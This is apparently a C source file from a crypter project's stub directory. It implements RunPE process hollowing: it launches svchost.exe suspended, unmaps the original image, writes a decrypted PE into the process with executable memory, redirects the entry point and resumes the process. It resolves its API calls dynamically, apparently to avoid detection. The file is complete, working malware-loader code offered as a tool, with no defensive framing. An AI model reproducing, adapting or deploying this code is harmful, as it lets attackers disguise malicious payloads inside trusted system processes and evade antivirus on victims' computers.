Files
Zerin-2/crypter_stubs/runpe_stub.c
T

151 lines
4.9 KiB
C
Raw Normal View History

2026-08-27 11:03:10 -06:00
/**
* runpe_stub.c — RunPE / Process Hollowing
*
* Creates a suspended process, unmaps the original image, writes the
* decrypted PE into the target, fixes the entry point, and resumes.
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */
static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe";
/**
* Execute a PE image via process hollowing.
* pe_data: pointer to decrypted PE bytes
* pe_len: length of the PE data
* Returns 0 on success, -1 on failure.
*/
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
NTSTATUS status;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
/* Validate PE */
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
/* Create target process in suspended state */
if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return -1;
}
/* Get thread context to find PEB */
ctx.ContextFlags = CONTEXT_FULL;
if (!g_api.pGetThreadContext(pi.hThread, &ctx)) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* Read PEB to get image base of the target */
PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */
status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */,
pbi_buf, sizeof(pbi_buf), NULL);
if (status != 0) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* PEB address is the 2nd pointer-sized field */
PVOID peb_addr = pbi_buf[1];
PVOID image_base_addr;
/* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */
#ifdef _WIN64
SIZE_T peb_offset = 0x10;
#else
SIZE_T peb_offset = 0x08;
#endif
if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
&image_base_addr, sizeof(image_base_addr), NULL)) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* Unmap the original PE image */
g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr);
/* Allocate memory at the PE's preferred base */
LPVOID remote_base = g_api.pVirtualAllocEx(
pi.hProcess,
(LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_base) {
/* Try at any address if preferred base is taken */
remote_base = g_api.pVirtualAllocEx(
pi.hProcess, NULL,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_base) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
}
/* Write PE headers */
g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data,
nt->OptionalHeader.SizeOfHeaders, NULL);
/* Write each section */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].SizeOfRawData == 0) continue;
g_api.pWriteProcessMemory(
pi.hProcess,
(PBYTE)remote_base + sec[i].VirtualAddress,
pe_data + sec[i].PointerToRawData,
sec[i].SizeOfRawData,
NULL
);
}
/* Update PEB ImageBaseAddress to point to our allocation */
g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
&remote_base, sizeof(remote_base), NULL);
/* Fix thread context entry point */
#ifdef _WIN64
ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
#else
ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
#endif
g_api.pSetThreadContext(pi.hThread, &ctx);
/* Resume the target process */
g_api.pResumeThread(pi.hThread);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return 0;
}